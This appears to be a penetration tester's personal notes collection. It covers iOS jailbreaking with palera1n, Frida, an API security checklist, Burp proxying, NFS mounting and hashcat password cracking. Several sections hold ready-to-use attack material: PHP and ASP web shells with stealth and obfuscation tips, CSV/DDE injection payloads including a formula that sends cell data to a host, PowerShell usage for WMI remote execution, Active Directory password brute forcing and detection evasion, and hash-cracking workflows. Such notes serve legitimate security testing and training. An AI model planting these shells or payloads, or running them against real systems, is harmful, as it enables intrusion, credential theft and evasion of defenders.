1. Enable Full Disk Access for Terminal (this only has to be done once)

   * macOS Monterey and below: System Preferences → Security & Privacy → Privacy → Full Disk Access
   * macOS Ventura and above: System Settings → Privacy & Security → Full Disk Access

   If Terminal does not show up in the list, click the plus icon and select it from Applications → Utilities.
2. If you are on macOS Monterey 12.2.1 or below, run the following commands (this only has to be done once):

   ```
   sudo python -m ensurepip
   sudo python -m pip install setuptools xattr==0.6.4
   ```
3. Open a terminal window and `cd` to the directory that palera1n was downloaded to (usually `cd ~/Downloads`).
4. Run `sudo mkdir -p /usr/local/bin`
5. Run `sudo mv ./palera1n-macos-universal /usr/local/bin/palera1n`
   * Replace `./palera1n-macos-universal` with whatever version you downloaded
6. Run `sudo xattr -c /usr/local/bin/palera1n`
7. Run `sudo chmod +x /usr/local/bin/palera1n`

#### Running palera1n <a href="#running-palera1n" id="running-palera1n"></a>

If you are using a USB-C to Lightning cable to do this process, you may run into issues entering into DFU mode

If you do have issues, get a USB-A to Lightning cable and, if necessary, also get a USB-C to USB-A adapter.

If you're using an Apple Silicon Mac and using a USB-C port to plug your cable/adapter into, you'll need to unplug and replug the device after `Checkmate!` appears in the logs.

1. Run `palera1n`
   * Make sure your device is plugged in when entering this command
2. When ready, press `Enter` and follow the on screen instructions to enter [DFU mode](https://ios.cfw.guide/faq/#what-is-dfu-mode).

A9(X) and earlier devices have an issue where they will get stuck midway through this process in pongoOS. To work around this issue, you'll need to do the following:

1. In the terminal window, press `Control` + `C` on your keyboard
2. Rerun the command that you just ran

You'll need to do this every time you rejailbreak your device as well.

Linux

Once the device boots up, open the palera1n loader app and tap `Sileo`. After a bit of time, you'll be prompted to set a passcode for using command line stuff, and then afterwards,`Sileo` should be on your home screen.

To rejailbreak your device, simply rerun the command you just ran and then repeat any other applicable steps.


# Frida Pinning Bypasses

### Xamarin Apps (non-proxy-aware)

{% embed url="<https://github.com/GoSecure/frida-xamarin-unpin/tree/master>" %}


# iOS Jailbreaking

## Recovery and Restore iOS Device

Whilst installing Jailbreaks if you encounter an issue where phone is stuck on recovery mode and need to be rebooted to normal mode, you can try this:

```
$ sudo apt intall irecovery
```

```
$ irecovery -n
```

For recovering iOS with custom PSW:

```
$ sudo apt install idevicerestore
```

```
$ idevicerestore
```


# Performing a Jailbreak with Palera1n

Palera1n is a semi-tethered jailbreak for iOS. This guide walks you through the full process of jailbreaking your iOS device using Palera1n.

**Original article:** [medium.com/@justmobilesec](https://medium.com/@justmobilesec/performing-a-jailbreak-with-palera1n-in-six-steps-65f943e5d777)

**Device example:** iPhone X\
**iOS versions:** 15.x – 17.x

***

#### ✅ Pre-requisites

* Supported device for Palera1n\
  Check here → ios.cfw\.guide
* iOS version between 15.x – 17.x
* macOS (Steps conducted on Mac OSX)

{% file src="/files/o3EaHg5YSdx1oi4Chvk9" %}

***

#### 🛠 Jailbreak Steps with Palera1n

**Step 1: Check iOS Version**

* Go to **Settings → General → About → iOS Version**

**Step 2: Install Palera1n**

* Visit palera.in
* Download and install via terminal:

  ```bash
  sudo mkdir -p /usr/local/bin
  sudo mv ./palera1n-macos-universal /usr/local/bin/palera1n
  sudo xattr -c /usr/local/bin/palera1n
  sudo chmod +x /usr/local/bin/palera1n
  ```
* **Note for iPhone X (A11 chip):**\
  You **must disable the passcode** before jailbreaking.

**Step 3: Trigger Jailbreak via DFU Mode**

* Plug device into Mac
* Run `sudo palera1n` in terminal
* Press buttons to enter **DFU Mode**

**Step 4: Wait for Installation**

* Wait up to 2 minutes
* Palera1n app appears on device
* Open and set a **custom root password**

**Step 5: Install Sileo Repository**

* Open **Sileo app** post-JB
* Ready to install tools like **Frida**

**Step 6: SSH Connection Setup**

* Palera1n uses **OpenSSH on port 44**
* Run `iproxy 22 44` for USB SSH tunneling
* Default SSH credentials: `root:alpine`
* Change using `passwd` post-connection

***

#### 🚧 Common Jailbreak Issues

* Missing Sileo app → Re-jailbreak required
* Device unsupported → “Ignoring non-arm64” error
* DFU mode not detected → Retry buttons or cable
* Better success with USB-A cable over USB-C

***

#### 🛡 Frida Setup

* Once jailbroken, add Frida tooling via Sileo
* Frida is instrumental in conducting **dynamic analysis** on iOS apps


# Palera1n Cheatsheet

{% embed url="<https://gist.github.com/novitae/2f04999039a6012813fb122d35a4c044>" %}


# Code Security

## Find All Files Containing a Specific String (Linux)

Use `grep -ilR`:

```
grep -Ril "text-to-find-here" /
```

* `i` stands for ignore case (optional in your case).
* `R` stands for recursive.
* `l` stands for "show the file name, not the result itself".
* `/` stands for starting at the root of your machine.


# Frida on Windows

**Reference and content for this page taken from ->**&#x20;

{% embed url="<https://medium.com/@waqas.ahmed.faroouqi/frida-installation-guide-on-windows-10-898ae8c69e54>" %}

***

[Python3 Installation Guide on Windows 10 (zeroxinn.com)](https://www.zeroxinn.com/post/python3-installation-guide-on-windows-10)

Open the Windows command prompt and type the following command:

pip3 install Frida-tools

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*RoWeYuazWX2AdXfdiAkL4g.png" alt="" height="403" width="700"><figcaption></figcaption></figure>

Frida has been successfully installed on Windows 10.

Now test the successful installation using the following command.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*sydwzaxR2GrInoznHynlag.png" alt="" height="77" width="700"><figcaption></figcaption></figure>

We see that Frida could not be identified by Windows 10.

Let’s copy the path where Frida has been installed.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*_hkGgaa0YzvfcpSFfvsAsw.png" alt="" height="395" width="700"><figcaption></figcaption></figure>

Now browse to that path, and we can see that Frida is available on this path.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*MJhNLBiFAdvYMRGa4IcxUg.png" alt="" height="460" width="700"><figcaption></figcaption></figure>

Now access Frida as shown in the figure below.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*0SauLq07AVyDrGJZvDcvWQ.png" alt="" height="187" width="700"><figcaption></figcaption></figure>

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*xYt7V13KBvFHdFaUT2DypA.png" alt="" height="95" width="700"><figcaption></figcaption></figure>

If you need Frida to get open from any location, copy the above path into the environment variable.&#x20;


# Web Application Security


# Web Shells

You have access to different kinds of webshells on Kali here:

```
/usr/share/webshells
```

### PHP <a href="#php" id="php"></a>

This code can be injected into pages that use php.

```

# Execute one command
<?php system("whoami"); ?>

# Take input from the url paramter. shell.php?cmd=whoami
<?php system($_GET['cmd']); ?>

# The same but using passthru
<?php passthru($_GET['cmd']); ?>

# For shell_exec to output the result you need to echo it
<?php echo shell_exec("whoami");?>

# Exec() does not output the result without echo, and only output the last line. So not very useful!
<?php echo exec("whoami");?>

# Instead to this if you can. It will return the output as an array, and then print it all.
<?php exec("ls -la",$array); print_r($array); ?>

# preg_replace(). This is a cool trick
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

# Using backticks
<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>

# Using backticks
<?php echo `whoami`; ?>
```

You can then call then execute the commands like this:

```
http://192.168.1.103/index.php?cmd=pwd
```

#### Make it stealthy <a href="#make-it-stealthy" id="make-it-stealthy"></a>

We can make the commands from above a bit more stealthy. Instead of passing the cmds through the url, which will be obvious in logs, we cna pass them through other header-paramters. The use tampterdata or burpsuite to insert the commands. Or just netcat or curl.

```
<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
<?php system($_SERVER['HTTP_USER_AGENT'])?>

# I have had to use this one
<?php echo passthru($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
```

#### Obfuscation <a href="#obfuscation" id="obfuscation"></a>

The following functions can be used to obfuscate the code.

```
eval()
assert()
base64()
gzdeflate()
str_rot13()
```

#### Weevely - Incredible tool! <a href="#weevely---incredible-tool" id="weevely---incredible-tool"></a>

Using weevely we can create php webshells easily.

```
weevely generate password /root/webshell.php
```

Not we execute it and get a shell in return:

```
weevely "http://192.168.1.101/webshell.php" password
```

### ASP <a href="#asp" id="asp"></a>

```
<%
Dim oS
On Error Resume Next
Set oS = Server.CreateObject("WSCRIPT.SHELL")
Call oS.Run("win.com cmd.exe /c c:\Inetpub\shell443.exe",0,True)
%>
```

### References <a href="#references" id="references"></a>

* <http://www.acunetix.com/blog/articles/keeping-web-shells-undercover-an-introduction-to-web-shells-part-3/>&#x20;
* <http://www.binarytides.com/web-shells-tutorial/>


# CSV Injection

A collection of CSV Injection templates and payloads

#### Payloads:

```
=HYPERLINK(“<http://172.0.0.1:8000?leads=>"&A2&B2, “More here”)
=cmd|’ /C calc’!A0
=cmd|’ /C notepad.exe’!A0
=DDE(server; file; item; mode)

=cmd|'/C ping -t 8.8.8.8 -l 25152'!'A1'
```


# Measure Response Time using CURL

**Option 1:** to measure `total time`:

{% code overflow="wrap" %}

```
curl -o /dev/null -s -w 'Total: %{time_total}s\n'  https://www.google.com
```

{% endcode %}

Sample output:

```bash
Total: 0.441094s
```

**Option 2:** to get `time to establish connection`, `time to first byte (TTFB)` and `total time`:

{% code overflow="wrap" %}

```
curl -o /dev/null -s -w 'Establish Connection: %{time_connect}s\nTTFB: %{time_starttransfer}s\nTotal: %{time_total}s\n'  https://www.google.com
```

{% endcode %}

Sample output:

```bash
Establish Connection: 0.020033s
TTFB: 0.417907s
Total: 0.435486s
```

Ref: [Get response time with curl](https://viewsby.wordpress.com/2013/01/07/get-response-time-with-curl/)

{% embed url="<https://stackoverflow.com/questions/18215389/how-do-i-measure-request-and-response-times-at-once-using-curl>" %}


# OSINT


# EyeWitness

To enumerate web services and take screenshots:

{% code overflow="wrap" fullWidth="false" %}

```
cd <EYE-WITNESS-DIRECTORY>

sudo ./setup.sh

pip install webdriver-manager

geckodriver --version

```

{% endcode %}

{% code overflow="wrap" %}

```
./EyeWitness.py --threads 20 --prepend-https --results 700 --timeout 159 --web -f witness.txt -d SCSENG
```

{% endcode %}


# GraphQL Hacking

{% embed url="<https://the-bilal-rizwan.medium.com/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696>" %}


# API Security

This section consits of best practices, security checklists, common vulnerability writeups and other API security related content.

API security is the protection of the integrity of APIs—both owned and in-use API services. APIs are one of the most common ways that microservices and containers communicate including systems and associated applications. As integration and interconnectivity become more important, APIs play a vital part in the security of these microservices.

In this section, we will include content that will reflect best security practices including but not limited to the following content:

* *API Security Checklist*
* *API Security Assessment Tools*
  * *Summary and Usage of these Tools*
* *API Common Vulnerability Blocks*

I will try my best to update each of these sections with the latest updates and references, on the best opportunities as possible.


# Security Checklist

This security checklist consists of security countermeasures when designing, testing, and releasing your API.

## Authentication

* &#x20;Avoid using `Basic Auth` header and use standard authentication instead, for example, [JWT](https://jwt.io/), [OAuth](https://oauth.net/) or similar alternative authentication mechanisms
* Avoid creation of your own 'Authentication', 'Encryption', 'Password Generation' or 'Storage' mechanisms and use strong and robust standards already in place
* Implement the use of `Max Retry` and jail features in on all login functionality
* Ensure to encrypt all sensitive data

## JSON Web Tokens (JWT)

* Use a random and complicated`JWT Secret`to ensure the token cannot be brute-forced
* Don't extract the algorithm from the header. Force the algorithm in the backend `HS256` or `RS256`
* Ensure that the `TTL` and `RTTL` which refer to 'Time To Live', are as short as possible
* Don't store sensitive data in the JWT payload. These payloads can be decoded using resources like [JWT Debugger](https://jwt.io/#debugger-io)

## Open Authorization (OAuth)

* Always validate `redirect_uri` server-side to allow only whitelisted URLs
* Ensure that communication is exchanged for code and not tokens and do not allow responses in tokens for example, `response_type=token`
* Use `state` as the parameter with a random hash to prevent CSRF on the authentication process
* Define the default scope, and validate scope parameters for each application

## Access

* Throttle request by limiting them to avoid DDoS and brute-force attacks
* Use HTTPS on server-side to avoid MiTM attacks
* Use `HSTS` header with SSL to avoid SSL Strip attack
* For private APIs, only allow access from whitelisted IPs/hosts

## Input

* Use the proper HTTP method according to the operation, for example, use `GET`, requests for 'reading' data,  `POST` requests for 'creation' of data, `PUT` and `PATCH`request to 'update or replace' the data and `DELETE`, to 'remove' data
* Ensure to respond with `405 Method Not Allowed` if a requested method isn't appropriate for the requested resource
* Validate `content-type` on request Accept header for content negotiation to allow the supported format for example `application/xml`, `application/json` and respond with `406 Not Acceptable` response if not matched
* Validate `content-type` of posted data as you accept for example `application/x-www-form-urlencoded`, `multipart/form-data`, `application/json`, etc.
* Validate user input to avoid common vulnerabilities in reference with the OWASP Top Ten such as SQL Injection, Cross-Site Scripting (XSS), Remote Code Execution amongst a list of others
* Don't use any sensitive data such as credentials, security tokens or API keys in the URLs and only use an Authorization Header
* Use an API Gateway service to enable caching, Rate Limit policies (e.g. `Quota`, `Spike Arrest`, or `Concurrent Rate Limit`) and deploy APIs resources dynamically.

## Processing

* Check if all the endpoints are protected behind authentication to avoid broken authentication process
* Use of resource identifiers should be avoided. It is recommended to use `/web/purhcase` instead of `/web/0098/purchase`
* Don't auto-increment identifiers and instead use `UUID` instead
* If you are parsing XML files, make sure entity parsing is not enabled to avoid XXE attacks
* If you are parsing XML files, make sure entity expansion is not enabled to avoid XML bomb via exponential entity expansion attack
* Use a CDN for file uploads
* If you are dealing with a large amount of data, use Workers and Queues to process as much as possible in the background and return response quickly to avoid HTTP Blocking.
* Ensure to set the `DEBUG` mode to `OFF`

## Output

* Ensure that the `X-Content-Type-Options: nosniff` header is set
* Ensure that the `X-Frame-Options: deny` header is set
* Send the `Content-Security-Policy: default-src 'none'` header
* Ensure that the fingerprinting headers such as `X-Powered-By`, `Server`, `X-AspNet-Version`, etc are removed promptly before an application or service goes into production
* Force the use of `content-type` for your response. If you return `application/json`, then your `content-type` response is `application/json`
* Don't return sensitive data like 'Credentials' or 'Security Tokens'
* Return the proper status code according to the operation completed for example`200 OK`, `400 Bad Request`, `401 Unauthorized`, `405 Method Not Allowed`, etc.

## Continuous Integration (CI) and Continuous Delivery (CD)

* Audit your design and implementation with unit/integration tests coverage
* Use a code review process and disregard self-approval
* Ensure that all components of your services are statically scanned by AV software before pushing to production, including vendor libraries and other dependencies
* Design a rollback solution for deployments


# Postman and Burp

## Error in Postman Connecting/Proxying via Burp Suite:

Burp will only send HTTP/2 requests if it has been told by the server that HTTP/2 is supported. After setting the configuration in proxy options to allow only HTTP1.1, the both API requests behaved as expected.

<figure><img src="/files/g7lyAqbtYLIinCdf1vhA" alt=""><figcaption></figcaption></figure>

## How to Proxy via Burp Using Postman:

Ensure `SSL Verification` is toggled `Off` in Postman Settings as follows:

<figure><img src="/files/q09DbKp34r2YHYfBU4Ip" alt=""><figcaption></figcaption></figure>

Set the Postman proxy Settings where `System Proxy` is off and `Proxy Settings` are set to the Burp Proxy. In my case it is `127.0.0.1` and `8080` as LPORT.

<figure><img src="/files/VuUMD8DDtEwOe7P3DlVn" alt=""><figcaption></figcaption></figure>


# CURL via BurpSuite

## **Redirect Curl request to Burp Suite**

If you are using curl for some reason and want to redirect the request to the burp suite. This can be done by using control such as below:

```
┌──(root㉿kali)-[~]
└─# curl --insecure -x 127.0.0.1:8080 'POST' \
  'https://my-secure.api.test/notify' \
  -H 'accept: */*' \
  -d ''

```


# SOAP API Pentesting

{% embed url="<https://www.soapui.org/docs/soap-and-wsdl/tips-tricks/web-service-hacking/>" %}

{% embed url="<https://blog.securelayer7.net/owasp-top-10-pentesting-mitigating-soap-service-risks/>" %}


# Infrastructure Security


# Network Infrastructure

##


# Red Team Powershell Scripts

> <mark style="color:orange;">**I do not own the below commands, they are taken from**</mark> <https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts>

```
Search-EventForUser.ps1: Powershell script that search through the Windows event logs for specific user(s)
Search-FullNameToSamAccount.ps1: Full name to SamAccountName
Search-UserPassword.ps1: Search LDAP for userPassword field
Remote-WmiExecute.ps1: Execute command remotely using WMI
Take-Screenshot.ps1: Take a screenshot (PNG)
Get-BrowserHomepage.ps1: Get browser homepage
Get-IEBookmarks.ps1: List all Internet Explorer bookmarks URLs
Invoke-ADPasswordBruteForce.ps1: Test users password
Utility.ps1: Contain several cmdlets
Run-As.ps1: Run a process as another user (credentials)
Get-ProcessList.ps1: List processes, owner and command line arguments
Remote-RegisterProtocolHandler.ps1: Use protocol handler to run your command to bypass some detection
Add-UserLogonScript: Add a logon script to a specific user
```

## Search-EventForUser.ps1 Usage

```
module-import .\Search-EventForUser.ps1; Search-EventForUser -TargetUser "MrUn1k0d3r"

module-import .\Search-EventForUser.ps1; "MrUn1k0d3r" | Search-EventForUser

module-import .\Search-EventForUser.ps1; Search-EventForUser -TargetUser MrUn1k0d3r -ComputerName DC01

module-import .\Search-EventForUser.ps1; Search-EventForUser -TargetUser MrUn1k0d3r -FindDC true

module-import .\Search-EventForUser.ps1; "god", "mom" | Search-EventForUser -FindDC true

module-import .\Search-EventForUser.ps1; "god", "mom" | Search-EventForUser -FindDC true -Username DOMAIN\admin -Password "123456"
```

The -User parameter support single user or a list of users from pipeline

## Search-FullNameToSamAccount.ps1 Usage

```
module-import .\Search-FullNameToSamAccount.ps1; Search-FullNameToSamAccount -Filter *god*

module-import .\Search-FullNameToSamAccount.ps1; "god", "mom" | Search-FullNameToSamAccount
```

## Search-UserPassword.ps1 Usage

```
module-import .\Search-UserPassword.ps1; Search-UserPassword -Username *god*

module-import .\Search-UserPassword.ps1; "god", "mom" | Search-UserPassword
```

## Remote-WmiExecute.ps1 Usage

```
module-import .\Remote-WmiExecute.ps1; Remote-WmiExecute -ComputerName victim01 -Payload "cmd.exe /c whoami"
```

## Take-Screenshot.ps1 Usage

```
module-import .\Take-Screenshot.ps1; Take-Screenshot -Path C:\test.png
```

## Get-BrowserHomepage.ps1 Usage

```
module-import .\Get-BrowserHomepage.ps1; Get-BrowserHomepage
```

## Get-IEBookmarks.ps1 Usage

```
module-import .\Get-IEBookmarks.ps1; Get-IEBookmarks
```

## Invoke-ADPasswordBruteForce.ps1 Usage

```
module-import .\Invoke-ADPasswordBruteForce; Invoke-ADPasswordBruteForce -Username "mr.un1k0d3r" -Password "password"

module-import .\Invoke-ADPasswordBruteForce; "neo","morpheus" | Invoke-ADPasswordBruteForce -Password "password"

module-import .\Invoke-ADPasswordBruteForce; "neo","morpheus" | Invoke-ADPasswordBruteForce -Password "password" -Domain MATRIX
```

## Utility.ps1

Contain de following cmdlets

```
Search-EventForUser
Search-EventForUserByDomain
Search-EventForUserByIP
Search-FullNameToSamAccount
Ldap-GetProperty
Search-UserPassword
Dump-UserEmail
Dump-Computers
Dump-UserName
```

## Run-As.ps1

```
module-import .\Run-As.ps1; Run-As -Username RingZer0\Mr.Un1k0d3r -Password "IShouldNotLeakThisPasswordOnTheInternet" -Process "C:\Evil.exe"
```

## COM-Utility.ps1

Contain de following cmdlets

```
Invoke-COM-ScheduleService
Invoke-COM-XMLHTTP
Invoke-COM-ShellBrowserWindow
Invoke-COM-WindowsScriptHost
Invoke-COM-ProcessChain 
Invoke-COM-ShellApplication
```

## Get-ProcessList.ps1 Usage

```
module-import .\Get-ProcessList.ps1; Get-ProcessList
```

## Remote-RegisterProtocolHandler.ps1 Usage

This cmdlet create a protocol handler that will call your payload. The idea is to avoid detection since the command that will be execute will look like the following one:

`explorer ms-browse://`

Where `ms-browser` is the custom handler you registered and will execute your command

```
module-import .\Remote-RegisterProtocolHandler.ps1; Remote-RegisterProtocolHandler -ComputerName host -Payload "command to run"
module-import .\Remote-RegisterProtocolHandler.ps1; Remote-RegisterProtocolHandler -ComputerName host -Payload
```


# Mounting NFS Shares

### How Do I Find Out Shared Directories?

```
$ showmount -e nas01
$ showmount -e nfs-server-ip-address-here
$ showmount -e nas01.lan.nixcraft.net.in
```

### Mac OS X NFS mount Command

```
$ sudo mkdir /private/nfs
```

```
$ sudo mount -t nfs 192.168.3.1:/mp3 /private/nfs
```

#### Tip: Operation not permitted Error

Try to mount it as follows with -o **resvport** command:

```
$ sudo mount -t nfs -o resvport 192.168.3.1:/mp3 /private/nfs
```

OR mount an NFS in read/write mode, enter:

```
$ sudo mount -t nfs -o resvport,rw 192.168.3.1:/mp3 /private/nfs
```


# Password Cracking/Auditing

#### Disclaimer:

I do not own any of the contents of this page, these have been copied from another contributor merely for the purpose of storing this information on my page for reference. The link for original contributor of the information relayed on this page is as follows:

{% embed url="<https://hunter2.gitbook.io/darthsidious/credential-access/password-cracking-and-auditing>" %}

## Hashcat

**Useful links**

* [FAQ](https://hashcat.net/wiki/doku.php?id=frequently_asked_questions#how_can_i_show_previously_cracked_passwords_and_output_them_in_a_specific_format_eg_emailpassword)
* [Command line options](https://hashcat.net/wiki/doku.php?id=hashcat)
* [Hashcat mode codes](https://hashcat.net/wiki/doku.php?id=example_hashes)
* [Hashview, web front end for hashcat](http://www.hashview.io/screenshots.html)

Hashcat can be used to crack all kinds of hashes with GPU. In our case the most relevant things to crack is NTLM hashes, Kerberos tickets and other things you could potentially stumble upon like Keepass databases. The goal is naturally to crack as many as possible as fast as possible, while being smug about all the shitty passwords you'll see. I highly recommend a good GPU, you'll crack faster and have more fun. Even with my not ideal GTX 1060 3GB I'm still cracking NTLM's like it was nothing.

The most basic hashcat attacks are dictionary based. That means a hash is computed for each entry in the dictionary and compared to the hash you want to crack. The hashcat syntax is very easy to understand, but you need to know the different "modes" hashcat uses and those can be found in the useful links section above. For fast lookup I have added the most commonly seen ones in AD environments below

| Mode  | Hash                                | Description                                                                 |
| ----- | ----------------------------------- | --------------------------------------------------------------------------- |
| 1000  | NTLM                                | Extremely common, used for general domain authentication                    |
| 1100  | MsCache                             | Domain cached credentials, old version                                      |
| 2100  | MsCache v2                          | Domain cached credentials, new version                                      |
| 3000  | LM                                  | Old, rarely used anymore (still a part of NTLM)                             |
| 5500  | NetNTLMv1 / NetNTLMv1+ESS           | NTLM for authentication over the network                                    |
| 5600  | NetNTLMv2                           | NTLM for authentication over the network                                    |
| 7500  | Kerberos 5 AS-REQ Pre-Auth etype 23 | AS\_REQ is the initial user authentication request of Kerberoas             |
| 13100 | Kerberos 5 TGS-REP etype 23         | TGS\_REP is the reply of the Ticket Granting Server to the previous request |

### Dictionary attack

For dictionary attacks, the quality of your dictionary is the most important factor. It can either be very big, to cover a lot of ground. This can be useful for less expensive hashes like NTLM, but with expensive ones like MsCacheV2 you often want a more curated list based on OSINT and certain assumptions or enumerationi (like password policy) and instead apply rules.

Here is a very basic dictionary attack using the world famous rockyou wordlist.

```
hashcat64.exe -a 0 -m 1000 ntlm.txt rockyou.txt
```

The limitation here is as with all wordlist attacks the fact that **if the password you are trying to crack is not in the list; you won't be able to crack it**. This leads us to the next type of attack, a rule-based attack.

### Rules-based attack

Rules are different modifications on words like cut or extend words, add numbers, add special characters and more or less everything you can think of. Like dictionaries, there are also big lists of rules. A rule-based attack is therefore basically like a dictionary attack, but with a lot of modifications on the words. This naturally increases the amount of hashes we are able to crack.

Hashcat has a few built in rules, like the dive.rule which is huge. However, people have used statistics to try and generate rules that are more efficient at cracking. This article details a ruleset aptly named [One Rule to Rule Them All](https://www.notsosecure.com/one-rule-to-rule-them-all/) and can be downloaded from [their Github](https://github.com/NotSoSecure/password_cracking_rules). I have had great success with this rule, and it's statistically proven to be very good. If you need quicker cracking with fewer rules there are plenty of built-in rules in hashcat like the best64.rule. We could probably generate statistics about what works best, but I find experimenting here a lot of fun and

Run rockyou with the best64 ruleset.

```
hashcat64.exe -a 0 -m 1000 -r ./rules/best64.rule ntlm.txt rockyou.txt
```

You are free to experiment with both lists and rules in this part. Only the sky is the limit (or your GPU / tolerance for hot computer smell)

After cracking a good amount of the hashes, output the cracked passwords to a new file. The outfile-format 2 specifies to print the passwords only.

```
hashcat64.exe -a 0 -m 1000 ntlm.txt rockyou.txt --outfile cracked.txt --outfile-format 2

Recovered........: 1100/2278 (48.28%)
```

Proceed to run a round with the cracked passwords as a wordlist with a big rule set to recover a few more. You can iterate this a few times, in case you crack a lot of hashes using this technique.

```
hashcat64.exe -a 0 -m 1000 ntlm.txt cracked.txt -r .\rules\OneRuleToRuleThemAll.rule

Recovered........: 1199/2278 (52.63%)

hashcat64.exe -a 0 -m 1000 ntlm.txt cracked.txt -r .\rules\dive.rule

Recovered........: 1200/2278 (52.68%)
```

**Mega attack using the weakpass\_2a (90 GB) wordlist and the oneruletorulethemall rule set**

```
hashcat64.exe -a 0 -m 1000 ntlm.txt weakpass_2a.txt -r .\rules\oneruletorulethem.rule
```

### Mask attack

Try all combinations from a given keyspace just like in Brute-Force attack, but more specific.

```
hashcat64.exe -a 3 -m 1000 ntlm.txt .\masks\8char-1l-1u-1d-1s-compliant.hcmask
```

### Recommendations

* [SecLists](https://github.com/danielmiessler/SecLists) - A huge collection of all kinds of lists, not only for password cracking.
* [Weakpass](https://weakpass.com/) has a lot of both good and small lists with both statistics and a calculator for estimating crack time. I'm listing a few of those and some others you should know about below.
* rockyou.txt - Old, reliable, fast
* norsk.txt - A Norwegian wordlist I made myself from downloading Wikipedia and a lot of Norwegian wordlists and combining them, filtering out duplicates naturally.
* weakpass\_2a - 90 GB wordlist, it's huge
* [Keyboard-Combinations.txt](https://github.com/danielmiessler/SecLists/blob/5c9217fe8e930c41d128aacdc68cbce7ece96e4f/Passwords/Keyboard-Combinations.txt) - This is a so-called keyboard walking list following regular patterns on a QWERTY keyboard layout. See chapter below.

#### Generating your own wordlists

Sometimes a wordlist from the internet just doesn't cut it so you have to make your own. There are several scenarios where I have had to make my own lists.\
1\. I need a non-english language wordlist\
2\. I need a keyboard walking wordlist\
3\. I need a targeted wordlist

**Non-english wordlist**

For the first scenario, my friend @tro shared his trick with me. So we download Wikipedia in any given language and then use a somewhat tricky one-liner to trim it into a lowercase-only list without special characters.

```
wget http://download.wikimedia.org/nowiki/latest/nowiki-latest-pages-articles.xml.bz2

bzcat nowiki-latest-pages-articles.xml.bz2 | grep '^[a-zA-Z]' | sed 's/[-_:.,;#@+?{}()&|§!¤%`<>="\/]/\ /g' | tr ' ' '\n' | sed 's/[0-9]//g' | sed 's/[^A-Za-z0-9]//g' | sed -e 's/./\L\0/g' | sed 's/[^abcdefghijklmnopqrstuvwxyzæøå]//g' | sort -u | pw-inspector -m1 -M20 > nowiki.lst

wc -l nowiki.lst
3567894
```

Excellent, we got a 3.5 million word dictionary for a language in only a few minutes.

Another trick that can be used to get dictionaries for specific languages is using google with a specific site: Github. So do a few Google searches like this and pull what you need.

```
greek wordlist site:github.com
greek dictionary site:github.com
```

One thing I noticed is that some of the lists I pulled which had regional characters like ÆØÅ sometimes get replaced by special characters, so rememebr to quickly review the lists you download and replace characters if necessary.

Once you have downloaded a lot of lists and fixed potential errors, use the Linux command line to concatenate them, trim away special characters and make them all lowercase

```
sed -e 's/[;,()'\'']/ /g;s/ */ /g' list.txt | tr '[:upper:]' '[:lower:]' > newlist.txt
```

You should now have a pretty good working list in a specific language and you should start to understand why learning things like cut, tr, sed, awk, piping and redirection is so damn applicable.

**Bonus**\
I discovered that you can find lists with names and places. These are often used for passwords. People love their kids and grandkids and thus use it as password. I found such things on [Github](https://gist.github.com/eiriks/8b028e05d9b53f8de628) by a little Googling.. Now all these were in JSON, but that is not a concern.

Linux magic to the rescue

```
cat *.json | sed 's/,/\n/g' | cut -f '"' -f2 | sort -u > nornames.txt

wc -l nornames.txt
9785
```

So we have added a few more words.

I can now add this to my other Norwegian list and filter duplicates. Put them both in the same file

```
cat norsk.txt nor_names.txt sort -u > norsk.txt

wc norsk.txt -l
2191221
```

Awesome, more than 2 million unique Norwegian words.

**Keyboard walking wordlist**

Keyboard walking is following regular patterns on a QWERTY keyboard layout to make a password that's easily rememberable. Apparently people think this generates secure passwords, but in reality they are highly predictable. Hence, these patterns can be generated from a keymap and wordlists can easily be generated.

Hashcat published a keyboard-walk generator a few years ago called [kwprocessor](https://github.com/hashcat/kwprocessor). You can use this to generate pretty big lists based on a number of patterns and sizes. A quick example of generating a 2-16 character long list.

```
/kw.out -s 1 basechars/full.base keymaps/en.keymap routes/2-to-16-max-3-direction-changes.route -o words.txt
```

Remember it does not necessarily make much sense running rule based attacks on this kind of list.

Another options for keyboard walking, is using the `Keyboard-Combinations.txt` list mentioned above.

**Target wordlist**

Often in pentesting engagements you are in an enterprise with very specific names and details. More than often enough, people set passwords with the name of the company for both service accounts and user accounts. A very simple trick can be to just write a few company related names into a list, but a more effective way is to use the web crawling tool Cewl on the enterprise's public website.

```
cewl -w list.txt -d 5 -m 5 http://example.com
```

We should now have a decently sized wordlist based on words that are relevant for the specific enterprise, like names, locations and a lot of their business lingo.

Another targeted possibility is cracking with the usernames as a wordlist, but note that certain password policies does not allow this.

Also, if you have dumped a database from a domain controller you probably also have access to the full names of employees. So a neat trick would be to make a wordlist with every first and last name and use that for password cracking with rules. That could provide some extra results.

### Useful hashcat options you can play with

* Print hashes that haven't been cracked using `--left`
* Print hashes that haven't been cracked using `--left`
* Print cracked password  in this format `hash:password` using `--show`
* Print cracked password in this format `username:hash:password` using `--show --username`
* Burn your GPU with `-w <number>` where the scale is 1 to 3
* Write cracked hashes to file using `--show --outfile cracked.txt --outfile-format 2` where 2 is the output format. See `--help` for possible values.
* Start hashcat as a session that can be stopped and resumed with `--session <session_name>` where you specify a name. When restoring a session use the same parameter with the same id and set `--restore` too.

### Online cracking tools

To be honest, I prefer not using these and especially not in pentesting engagements. You do not want to submit something you don't know what contains to an online repository for eternal storage. Odds are it won't ever be detected, but err on the side of caution here. If you decide to submit hashes from a lab or hashes you know the plaintext for already, [Crackstation.net](https://crackstation.net/) is a good choice.

## Domain Password Audit Tool (DPAT)

[clr2of8/DPAT](https://github.com/clr2of8/DPAT)\
A python script that will generate password use statistics from password hashes dumped from a domain controller and a password crack file such as hashcat.potfile generated from the Hashcat tool during password cracking. The report is an HTML report with clickable links.

Run DPAT on the file that contains the hashes (\`username:lm:nt:::\`) and the potfile containing your cracked hashes. Add the list of Domain Admins to a file called Domain\_Admins with the syntax \`domain\username\`. Then it will also display how many of those you cracked. Fun stuff!

```
